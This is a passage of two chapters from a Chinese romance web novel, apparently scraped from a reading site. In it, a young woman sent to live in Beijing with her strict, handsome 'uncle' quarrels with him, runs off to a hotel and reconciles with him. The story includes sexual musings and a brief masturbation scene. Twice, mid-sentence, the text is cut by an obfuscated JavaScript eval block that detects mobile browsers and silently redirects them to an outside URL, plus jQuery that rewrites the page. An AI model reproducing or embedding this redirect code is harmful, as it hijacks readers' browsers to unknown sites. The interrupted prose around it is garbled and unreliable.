《感觉至上》
3. 星期六晚上九点(3)
耿艾太满意眼前这个丰神俊逸的男人,导致她压根没听清他在说什么。直到他眉心微蹙,喊第二遍“耿艾”。
她终于听清了,缓慢抬头同他对视,三秒后,不可置信地揉了揉眼睛。
假的吧。
她试探地问:“你该不会姓霍吧?”
男人保持着那个有所迟疑的神色。
“你是顾芷安的侄女?”
耿艾心一凉,心想,完了。
天菜变天敌,这如何是好?
这太出乎耿艾的意料了,完全没想到应该称谓为叔叔的长辈是那么年轻,说是她的同龄人也没人怀疑吧。她现在也终于明白小姨的那句“他这个人很好认的”是怎么个好认法。
帅得好认。
气氛变得有些尴尬,好在这时他的手机响了,他立即接起,随后递给她。
耿艾颤抖着手接过电话,是小姨的声音:“宥鄞啊,我侄女说她没找到你,不应该啊,你现在接到她了吗?”
“小姨……”耿艾的声音很微弱。
她做贼一般背过身去,捂住话筒小声嘀咕:“你怎么从来没告诉我这个叔叔这么年轻啊!我以为是秃头老总呢!”
“年轻么?”小姨没有这个观念,“你霍叔叔都二十七岁了,也不算年轻啊。”
“算年少多金吗?”
霍宥鄞。
二十七岁。
和耿艾差了八岁。
辈分却大了一轮。
怎么就变成叔叔了?搞得好像很有代沟一样。耿艾不死心,说是不是搞错了。小姨说:“按辈分就是这样的呀。我爷爷和霍宥鄞他爷爷是一代的,是表兄弟,我和霍宥鄞就是同辈的了。总的来说,你真得管他喊一声叔。”
“叔……”这个字眼卡在喉咙里。
怎么也叫不出来,像是一口烟。
呛人得很。
不知道该说什么,耿艾把手机还给这位年轻的叔叔。霍宥鄞接过了手机,将屏幕贴在耳边。耿艾想起她刚才也用耳朵贴了屏幕。盯着他那张帅到不正常的脸,耿艾脸颊烧高了两度。
霍宥鄞没注意到她的异常,小姨那边说了什么,他“嗯”两声,挂断电话,顺手拿过侄女的行李:“先出站吧。”
还挺有绅士风度。
耿艾注意到他挽起的西装袖口,皮肤是青白色,带一点点灰,像蒙上一层低饱和的滤镜。这也许是他这个人的质感看起来如此高级的原因。他的皮肤很好,耿艾想,饮食很健康。
性功能应该不错的。
但是,“你这么穿不热吗?”
霍宥鄞脚步微停,“什么?”
“我说。”耿艾往前快走了两步,给他留了一个靓丽的背影。散落在肩头的茶栗色小波浪卷,玫瑰粉色的吊带被半透明的防晒服罩住,隐约可见骨感漂亮的肩部线条。然后是那双腿,很白很长,臀底堪堪被牛仔热裤遮住,非常吸睛,惹得几位路人频频侧目。
她有意向霍宥鄞展示魅力。
“大夏天三十多度,穿正装不热吗?”
霍宥鄞又蹙眉,想说什么,但没有。
“……车上有冷气。”他生硬地回答。
“那下了车呢?”耿艾说,“不热吗?”
“公司也有冷气。”
这人可真是惜字如金啊!耿艾眼角微微抽搐,但看他那张赏心悦目的脸,那一点点不满又烟消云散。她继续找话题,企图和这差了两个代沟的男人搭上话:“你是做什么工作的呀?”
“研发。”
话更少了。
“是在实验室里的那种研发?”
“应用性研发。”他抬手示意。
此时此刻,两人已经出了航站楼。
八月末,北京的艳阳炙烤着地面,室外超过三十五度。耿艾眯起漂亮的桃花眼,用手背遮挡紫外线。余光打量着身侧的霍宥鄞,他始终目视前方。
他的仪态也很好,步履平稳,双肩像盏颀长的天平,丝毫不倾斜。想起小姨说过他的家世,祖上有红色基因,他受到的家教一定也很严格,所以不苟言笑……在床上也会这样缄默吗?
她看未必。
她对他的好奇更甚了。完全和同龄人不同,或者说,和她玩过的那些男人都不一样。年龄最相仿的,肖驭之和顾信桥,前者是莽撞痞气的小狼狗,后者是温和体贴的小狐狸,虽然故作成熟,但年龄所带的稚气是掩藏不住的,藏不住心思,偶尔还露出尾巴。
曹娄,是哥哥,生活在一起,没什么距离感。况且他也不像霍宥鄞那款。
耿艾贪婪地品鉴这位貌美的叔叔。仰视的角度,能看到他轮廓硬朗的下颚线,她情不自禁用手沿着裤缝勾勒。然后是挺拔鼻梁,拔地而起最高峰,真夸张,鼻尖也是凌厉精致的锐角。
很有压迫感。
上位者的即视感。
耿艾不反感这个的。男人,她品得来很多种,青涩到初次开荤时怕得语无伦次的,她品尝过,隐忍到濒临爆发也不舍得弄疼她的,耿艾也品尝过。但霍宥鄞这种,确实……还没有呢。
叔侄,名义上的,不是阻碍。
大逆不道的事耿艾全都做了。
也不差这一件。
他刚刚抬手示意,原来是让司机把车开过来。耿艾一看,劳斯莱斯,标志性的银色小飞人。车身也是暖银色,而且比一般车型要长,她不懂这车的型号,一搜,发现是12年的加长款。
耿艾举起手机:“我能拍一张吗?”
霍宥鄞拉开后备箱:“……请便。”
他帮她放行李,这事不应该由司机来做么?耿艾下意识瞥了一眼驾驶位上的人,年龄有点大,也是西装革履。
霍宥鄞注意到她探究的眼神:“他不是司机,他姓崔,你可以叫他崔叔。”
“他和你一个辈分么?”耿艾很惊讶。
“按理说是这样,但我也喊他老崔。”
“那我能跟着你喊他一声老崔么?”
“不行。”霍宥鄞拉开车门,“上车。”
耿艾钻进后座,崔叔温和地同她打招呼,叫她耿小姐。耿艾说不对啊,我应该喊你一声叔啊,你喊我侄女不就行了吗?崔叔神色变了变,最后却是无奈地笑了一声:“叫我老崔就好。”
耿艾倒是大大咧咧的:“可以吗?那我就直接喊你老崔了,老崔老崔也喊得顺,喊叔的话……是有点不适应。”
“耿小姐方便就好。”
霍宥鄞面色一沉。
耿艾不以为然,还变本加厉,拿胳膊捅了捅他:“那我可以喊你霍哥吗?”
“……不行。”霍宥鄞自上而下地睨视她,交叠了双腿,声线沉闷而严厉。
“别乱了辈分。”
“为什么不行啊?”耿艾振振有词,“小姨都说了,你也就比我大了八岁,大八岁就要喊叔?我在合城的哥哥比我大四五岁,我都是直呼其名的。再说大家都是二开头的年龄,有什么……”
“家教。”
耿艾没反应过来:“什么?”
“你的家教。”他吝于解释,“有没有人告诉过你事不过三的道理?我刚刚已经说了两遍,我不会再说第三遍。”
耿艾愣住,随即,嘴角顽劣的笑容也收敛了。她平静地盯着这个只有皮囊完美的刻薄男人:“那你的家教呢?有没有人告诉你,随便打断别人说话是很没礼貌的事?你父母不教你吗?”
先前觉得他帅,对他有一点点好感,耿艾承认自己过分的颜值主义了,但那也是建立在他没冒犯她的前提下。
他讽刺她没家教。
这是耿艾的逆鳞。
她最烦别人说她没家教、没教养。随便吧,可能越是在乎就越容易急眼。
霍宥鄞危险地眯眼:“你再说一次?”
他身上散发出某种被冒犯到的气质。
拜托!被冒犯到的明明是她吧!耿艾气得牙痒,正欲回击。老崔却不合时宜地加入对话:“话说,快到家了。”
他有意缓和这对叔侄的关系,耿艾却并不领情。她现在彻底清醒过来了。
搞什么?要不是小姨三番五次催促,她本来就不想来北京!还什么霍叔叔崔叔叔,上赶着认什么亲?别人还以为她是刘姥姥进荣国府呢!耿艾抱着臂,浑不吝地道:“那又不是我家。”
还不算,还不够,又向这位徒有其表的霍宥鄞:“刚才的话我再重复一遍,你没有家教。你父母没有教育你打断别人说话是很没礼貌的事吗?还有,我有没有家教和你有毛线关系?你以为你是谁啊?我小姨喊你两声宥鄞,真把自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567472|171454||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
当我叔了?我和你熟吗?”
车内陷入冰封。
余下的路途,霍宥鄞始终一言不发。很难知道这个东西在想什么,耿艾别扭地贴着车窗,竭尽全力离他最远。现在她很清楚自己讨厌这个叔叔了,讨厌到都觉得他有点面目可憎了。
耿艾不动声色地瞥他。
好吧,帅得面目可憎。
车到万京,驶入地库,各色豪车更是目不暇接。有钱人住的地方,耿艾心想,霍宥鄞也是一副有钱人的做派,无端的惹人生厌。她要住在霍家,他的家里人说不定也不怎么欢迎她呢?
小姨为什么非得让她投奔霍呢?
她难道不知道此人有多讨厌吗?
耿艾抱着书包,满腹的怨气。这时候她还没到忍无可忍到地步,只想着一定要给小姨告一状。她拎着书包跨出车外,那双雪白修长的腿在冷光的映衬下,像敷了一层细腻的珍珠闪粉。
有人的目光落在她身上。
耿艾察觉到,抬眼望去。
“看什么?”这回她很不客气了。
霍宥鄞冷冷地移开视线,打开后备箱拎过行李。他让老崔就在车上等着,他送耿艾上楼一趟就下来。到电梯前他才缓缓开口:“以后不要穿这么暴露的短裤,你是个学生,要有学生样。”
这个貌美的清朝老兵!耿艾炸毛:
“我都成年了,你管我穿什么啊?”
“你现在还是个高中生。”
“什么高中生?”简直不知所云,耿艾嗤笑道,“我都考上大学了!你这是哪来的小道消息?我小姨没和你说?”
“是你小姨没和你说。”霍宥鄞低头看她,“你高二辍学过,她想把你的学籍转到京华学府,之前一直托我办这个事。你父母也希望你在京华再上一年,校内有直通纽大的保送项目。”
耿艾像听天书:“这事和我有关系?”
“有。”他颔首,“你是这事的主人公。”
“那你们怎么不问问我这个主人公的意见?!”耿艾抬手指着自己的鼻子,肩膀上的书包顺着她的动作溜了下来,又被大力地甩回去。做完这些,耿艾才宣布,“我的意见就是,我不要!”
“不要什么?”
“我不要上什么京华!我自己难道没考上大学吗?”耿艾自言自语,“我来北京这一趟简直是无妄之灾……还有,你这个老家伙耳背是吧?一直反问一直反问,事不过三,有没有家教?”
霍宥鄞被她噎了一下:“……那是你父母的意见,是你小姨的意见。你要理论应该去和他们理论,而不是我。”
耿艾懒得和他理论。入门,三百平的大平层,霍宥鄞似乎不和家人同住,这间房子里只有他和老崔两个人。
“那就是你的房间。”他指向采光最好的那一间卧室,“我是按你小姨的意愿给你布置的,如果还要添置什么……”
“不用。”耿艾飞速地打断。
霍宥鄞说好,并不作他想。
安置完这个崭新而浑身冒刺的小侄女,霍宥鄞还要回公司开周会。老崔换了车,把通勤用的大众途观牵过来了。其实那辆高调奢华的劳斯莱斯,根本就不是霍宥鄞的,是他朋友的。
他跟朋友谈及要接待这位远道而来的小侄女,朋友说你得开一辆好车,那些三四十万的车真拿不出手。朋友还说这个年纪的孩子都喜欢年轻有为的长辈,你严苛点,她反而会尊敬你。
霍宥鄞认真地照做了。
可结果并不符合预期。
到底是哪里没有做好?是不是自己的态度有问题?小侄女不喜欢他。回公司的路上,霍宥鄞一直自责和检讨。
老崔看出他的焦躁:“没事,下班回去我做点好吃的,犒劳下小姑娘的胃。你不是很早就给她准备好了礼物吗?正好趁着吃饭给她,也算赔礼了。”
霍宥鄞两只手平摊在膝上:“芷安姐把耿艾托付给我,是信任我。我没想着和她吵,郑暮夜告诉我要凶一点。”
“你别听他的,暮夜自己都是一肚子的馊主意。”老崔笑了笑,“行了,小姑娘气性能有多大,多半傍晚消气了。”
“但愿如此吧。”
下了班,两个叔辈的回到家中。
却惊觉这个小侄女连人带行李。
早跑了。
4.星期六晚上九点(4)
开什么狗屁玩笑!
耿艾拖着行李,走在傍晚的街道上。她心说,此处不留我,自有留我处。
不是一时冲动,只是实在没什么好顾忌的。人家不待见你,还要在一个屋檐下相看两厌么?其实也没有啦,霍宥鄞长得太操蛋的帅了,他的性格是差,但是他的脸弥补了这部分缺陷。
总有一天要尝到此男!耿艾发誓。
但不是现在,至少不是此时此刻。
懒得吃晚饭,耿艾从书包里拿出一只白巧蛋白棒,拆开包装,边走边嚼。
离开学还有三四天,再订机票回合城也不切实际,不如找个地方下榻了。耿艾在手机上订好酒店,打计程车。
在车上,小姨打来电话。
耿艾不想接,直接挂断。
几分钟后,霍宥鄞打过来。
耿艾直接开了个飞行模式。
世界清静了。
到了地方,耿艾关掉飞行模式付钱,拖着行李箱去酒店前台办入住。递出身份证的时候,耿艾突然想起那些言情小说里的情节,总裁一通电话得到这个女人所有信息,这让她笑出声。
“哈哈。”
安顿好了,耿艾已经是一身的汗。洗澡,在洗手台前宽衣解带,耿艾审视着自己的身材,她突然想到别的事。
准确的说,是别的男人。
她想起和顾信桥分手的那一炮,清隽的好学生把她压在洗手台前,浴室里热汽蒸腾,热浪翻滚,闷透的肌肤,紧密相贴,她的湿发黏在他的腹部。
和顾信桥分手,她没有犹豫,本来就是玩玩而已的关系。只是,临别时他眼神里似乎藏了别的情绪,更隐秘、更暴戾。顾信桥的家世其实是合城数得上数的,肖驭之亦然,两家孩子才能玩到一块。不是耿艾招惹了他们。
是他们先来招惹的她。
她出于兴趣,出于孩子的恶趣味。而他们被她吸引,被她拿走了第一次。
耿艾不缺钱,缺很多很多爱,所以把两个英俊的同龄人当作消遣,其实也是因为曹娄那段时间忙于出差,很少在家里。倘若三人放在一起比较,她肯定选曹娄,毕竟是暗恋多年的人。
想着哥哥。
耿艾闭上双眼,轻轻地喘息,直到掌心里溢出一大股清澈。她冲洗手指,冲洗身体,把这些复杂的心事统统甩在脑后。回到现实,她和那位刻薄冷漠的叔叔闹掰了,该怎么解决呢?
最好的解决方式就是霍宥鄞别管她,也别和小姨告状,就这样相安无事。
耿艾瞥向床头震动不停的手机,心想估计不太可能了。干脆把手机关机,拿出平板看了会儿美剧,关灯睡觉。
耿艾是被敲门声惊醒的。
她警惕地坐起身,当敲门声响起第三遍,已经彻底清醒过来了。门外的要么是她那个倒霉叔叔,要么是倒霉叔叔以外的人。一个人在陌生的地方。
耿艾更愿意相信是前者。
可霍宥鄞真能找到这儿?他是报警了还是直接给她手机定位了?耿艾随手拎了个电水壶,静步溜到门边,隔着门问,是谁。低沉而有磁性的声音,太有辨识度,也让耿艾松了口气。
“……霍宥鄞。”
耿艾说:“我不会开门的,您老打哪儿来回哪儿去,别在这儿和我耗上一整宿,到时候又说我虐待老人,我可担待不起。还有,你能不能不要给我小姨告状?有你这么不厚道的人吗?”
霍宥鄞:“我没有给她告状。”
耿艾愣了愣。
她想起先是小姨给她打的电话,然后才是霍宥鄞。就算他告诉小姨,也应该比小姨先打过来才对。思索片刻,耿艾拧动门把手,试探性地开了门。
漆黑,铺天盖地,清冽的薄荷气息,淡薄烟草味。耿艾抬头看向他,眼前的男人也低头看她。光线被高大颀长的身影湮灭,镀在他的肩线,亮出几点颗粒的浮尘,像艺术写真的封面。
脸是藏在晦暗中也浓墨重彩的绝笔。
微微撇下的墨眉,上扬的丹凤眼尾,极致刁钻角度,鼻梁两点黯光,唇瓣紧抿,表情很克制,但怒意和别样的情绪按捺不住,随时打算冲破躯体。
耿艾的喉间燃烧起烈焰。
她期待着另外一种可能。
酒店套房。
孤男寡女。
干,柴,烈,火。
“方便进来么?”霍宥鄞说,“谈谈。”
他一开口又是那个清朝老兵的语气。
耿艾的性.欲都被他搞没了。
……真是烦人。
她问:“你是怎么找到这儿来的?”
侧身,让他擦着她的肩进了门。
“该不会你报警了吧?”
“没有。”霍宥鄞摇头。
“查到你有一笔流水在这个酒店。”
“额。”她诧异,“这个也能查啊?”
霍宥鄞以眼神在房间里逡巡一圈。
“抱歉。”他说,“今天是我冒犯了。”
他突然这样,耿艾却像是被打了一闷棍,她胸口郁结一口气,堵着淤着,上不去下不来。原以为霍宥鄞是那种绝不会拉下脸面道歉的人,没想到竟如此轻易。这反而让道歉很没分量。
“你刚才说,没告诉我小姨?”
“没有到必须通知她的地步。”
耿艾措辞了一番:“其实我也不想你和小姨说,小姨在国外照顾她对象已经分不出心神了,我不想她操心。但是你们也不能莫名其妙就把我安排一顿吧,起码……得问问我的意见吧。”
“是我考虑不周,我以为你和你父母商量好了。”霍宥鄞主动承担错误,“如果你不想就读于京华,我支持你的想法,也会去和你家人协商。只是,没必要用离家出走这种方式来抗争。”
耿艾撇了撇嘴。
她不愿意承认,自己和父母的关系挺冷淡的。他们因工作全世界到处跑,唯独不在她身边,把她交付给小姨。
去年小姨对象旧症复发,急匆匆出国,耿艾又被甩给了邻家哥哥曹娄。
作为补偿,耿艾每个月都有丰厚的零花钱,和更大阈值的自由度。曹娄不是不管她,是管不住她,耿艾不喜欢在学校待着,于是辍学在家里自学。
她顽劣,但也有限度,从小到大成绩都不用长辈们担心,这也是小姨放心的原因之一。如果说有不放心的地方么,耿艾的性格太过古怪,和早熟。
她和大部分同龄人都玩不来。
有时曹娄也不太能够理解她。
“为什么突然要读京华啊?”她问。
“京华私立是全城数一数二的高中,教学资源很丰富,保送国外名校的机会也很多。你母亲当年也于这所学校毕业,本来上高中就要给你转过来了,但是你父母工作原因,就搁置了。”
“你辍学的事,你小姨也是前段时间才知道。”是曹娄告诉小姨的,这个叛徒!最亲近的人往往是最容易背叛的人!“她觉得你合城的那位哥哥并不能很好的管束你,所以交由我代劳。”
“可我都成年了……”
“所以选择权在你自己手上。”霍宥鄞不习惯说这么多话,口干,他背过脸轻咳一声,“你可以选择上你的大学,那是你自己的努力成果。你也可以选择上你母亲的母校,在国内读一年预科,就去美国纽大新闻系,那样能和你父母团聚,这也是你母亲的意思。”
他是一个不错的说客。
这让耿艾陷入了纠结。
耿艾的肚子先给了回应。
她饿了,晚上没吃饭呢。
“酒店外面不太安全,收拾一下行李,搬回去住。”霍宥鄞低头看手机,“有什么想吃的宵夜?现在带你去吃。”
耿艾有点动摇了:“我一天都能没坚持过,就再搬回去,会不会很没面子?”
“有点。”霍宥鄞认真地替她考虑,“你可以慢慢考虑,也可以多住几天再搬回去,但在哪里,做什么事,一定要让我或者老崔知道。我是你的家长,我有权、也必须保证你的人身安全。”
搞什么呀?刚见面的时候趾高气昂,现在又来个真诚必杀技,而且……
耿艾一眨不眨地盯着他,这位貌美的叔叔,他不刻薄的时候还真迷人呢。
霍宥鄞身上有某种特质,形容不来,像钢筋里混着一片轻飘飘的羽毛,那是一种极端坚韧之下的脆弱感。尽管不清楚,但她觉得这个年长她八岁的人很特别,肯定是个有故事的家伙。
“那你……那你得给我道歉。你之前在车上说我好没家教。”耿艾像小猫一样高傲地抬起下巴,又给他个台阶下。
“对不起。”
掌握了道歉的方式,刻意放缓语调,也说明了霍宥鄞十足的诚心。他作为长辈给她道歉,这也让耿艾很受用。
好吧,现在叔侄俩是不打不相识。
耿艾把收拾好的行李箱递给男人。
“拿着。”
霍宥鄞顺其自然接过。
他在哄女人的事情上有些天赋。
瞧着他的背影,耿艾发觉自己还没怎么了解过这个叔叔。她知道他二十八岁,有钱,做研发,和他的司机兼秘书(也许是)同住。其余的,他有无对象,是否婚配,耿艾想都没想过。
她对霍宥鄞完全是先见色。
还没起意……暂时没机会。
耿艾跟上他的脚步,一起进电梯。
电梯里还有其余住客,是两个女生,年龄和装扮都界于稚嫩和大胆之间。飘逸眼线,立体妆容,眼角几颗闪钻,这个点出门,看来要奔赴夜场。
耿艾经受女孩儿们的打量,她们先是双眼放光地盯着霍宥鄞,然后是她。
西装冷都男和热裤美少女的搭配。
大多数出现在小说里会比较唯美。
现实么……她们的目光带些揶揄。
下一秒,耿艾同她们对视上,眼神中似乎有大学生的清澈流淌而过。耿艾很自来熟:“你们这是要去夜店吗?”
“对啊。”其中一个短发女生笑了笑,开口时也少了恶意,“你们也要去?”
“不是,我离家出走被抓回去啦,他是我叔。”耿艾解释。她对夜店很感冒,对合城的场所了如指掌,到新环境最先了解的也是这些,“我不是本地人,北京有什么好玩的夜店推荐一下吗?”
“工体西路酒吧一条街。”女生不假思索地道,“想要热闹去那里最合适,消费不贵也是打卡点。迪吧的话OT、PH很合适,当然也有小贵的调酒吧,这附近就有,你想要我可以推给你。”
“好啊好啊。”立刻就加上联系方式。
女孩子们的对话,霍宥鄞作为男性不便参与,他也希望给耿艾留下一个良好的社交氛围。只是,听到她们大肆谈论夜店等话题,思想保守的人还是微微皱起眉头,这表情放在本就冷若冰霜的俊脸上,反而别有韵味。霍宥鄞并不知道他也成为话题中的一员。
“那个是你叔
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569762|171454||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
叔啊。”短发女孩凑近低声,“我们刚才还猜测是你对象呢。”
“哈哈对啊,你这死丫头吃的真好。”
我倒是想吃得好,耿艾说,可关键就是我吃不到么。而且,“我和这个叔叔才刚认识一天,也不知道他的情况。”
“我打赌他结婚了。你看他帮你拎行李那样子,他有一种淡淡的人夫感。”
另一个女孩说:“他看着那么年轻,应该没有结婚吧。我赌他只是有对象,嗯,关系稳定,但还没到结婚那步。”
两人一齐看向耿艾:“你去问一问!”
耿艾露出为难的神色,她们以为她要拒绝,没想到下一秒她就说:“你们都赌了,我什么也挣不上?我也要赌,那我赌他既没结婚也没有对象!!”
俩姑娘都乐了:“开什么玩笑啊?长这样的男人能没对象吗?行了行了,你也赌,赌两百行不行?快去快去!”
耿艾朝不远处的霍宥鄞走去。
他平静地望过来:“聊完了?”
“我问你一件事。”
“说。”
直接问“霍宥鄞,你有没有找女人”,似乎太怪了,不,根本就是太怪了!
耿艾决定换个迂回一点的方式。她故作为难:“我刚才想了想,还是不住在你家了,我觉得你可能不太方便。”
“没有不方便。”霍宥鄞说。
“怎么没有?大家都是成年人,有私生活,就算是亲人也应该保持点距离。”
“什么意思?”霍宥鄞确实没懂。
“你有可能要带你对象回家呢?”
“……我没有对象。”
哇哦。耿艾心里说。
“那你也可能要带女人回家呢?”
眉头蹙深,“我不是那样的人。”
哇哦。哇哦。耿艾很惊喜。
长得帅、有钱。
私生活还检点。
等等,不对啊!耿艾心里敲响警钟。根据「男人不可能三角」的法则:
帅,有钱,专一。这三点特质不可能同时出现在一个男人身上。又帅又有钱的男人多半是花花公子小蝴蝶;又帅又专一的男人可能是求财的捞男。
又有钱又专一的男人呢?
呃,可能适合关灯使用。
有没有三者兼具的男人?
当然有,最重叠的部分。
要么是gay。
要么是阳痿。
要么两者兼备。
耿艾非常遗憾地告诉那两个等答案的女生,你们都猜错啦。她把推测的结果告诉她们,得到一片唉声叹气:
“本来想着长这么帅就算三秒也认了,没想到真是三秒,一下老实了!”
“三秒我也不认啊!”耿艾呸呸呸,生怕遇上这种,“性功能差劲的男人就算再帅也没用啊,总不能当观赏品吧!”
“虽然没猜对,但交个朋友吧。”短发女生伸出手,和她握了握,“我叫倪品,她叫梁琼绿,有空一起出来玩。”
“你们都是大学生吗?”
“我是中传的。梁琼绿是社会闲散人员,哈哈,那我们去玩了啊,拜拜。”
“再见。”耿艾回到霍宥鄞身边。
霍宥鄞关上手机:“去吃饭吗?”
“好啊好啊。”耿艾很开心交到朋友。如此,她就把霍宥鄞排除在自己的择偶范围之外了。可爱的小侄女大咧咧把手搭在他的肩上,笑容清新脱俗。
她以嗔怪的语气:“哥哥也不早点跟我说,你看这事儿闹的,咱们是大水冲了龙王庙,自家人打了自家人啊。”
她突然喊他哥。
霍宥鄞基于初识一天对这位小侄女的认识,也能猜测出她一定没安好心。
果然,耿艾朝他挤眉弄眼一番:“哥哥放心,今晚的不愉快,天知地知,你知我知,不会再有第三个人知道了。”
“不过……”她话锋一转,“现在我也握着你的一些小秘密了。”她嘴角的笑容愈发甜腻危险,像是蜜罐里的蜂浆。
“哥哥,要不要和我谈谈?”
“怎么谈?”霍宥鄞提醒,“还有,不要喊我哥,我是你叔叔,别乱了辈分。”
“行嘛,霍叔。”耿艾从善如流。
伸出三个手指,“咱们约法三章。”
“你说。”
“第一。”耿艾清嗓子,“你不用管我。”
霓虹落在她鼻尖,光斑踔跃成一道彩带。年轻的孩子,张扬大胆的斑斓。
像一只午夜的精灵。
在霍宥鄞前二十八年的短暂人生里,他没有和这样的人产生接触。不理解的存在,难缠的存在,走在路上都会尽量避免,生意场上更是很难合作。
如果不是存在这份重要的亲缘关系。
他想,他说不准会对耿艾敬而远之。
“第二呢?”霍宥鄞问。
“第二,你不用管我。”
“……第三呢?”他知道了。
“第三,你还是不用管我。”
没错,约法三章,其实是约法一章。
“这样你省事我也省事,你不和小姨告我的状,我也不和小姨说你的秘密。当然,你放心,在你家的这段日子我会乖乖的,不会给你惹什么麻烦,”
秘密?霍宥鄞不懂自己有什么秘密。
有秘密的男人,下颚绷了绷,垂眸。
他沉思片刻。
“……随你。”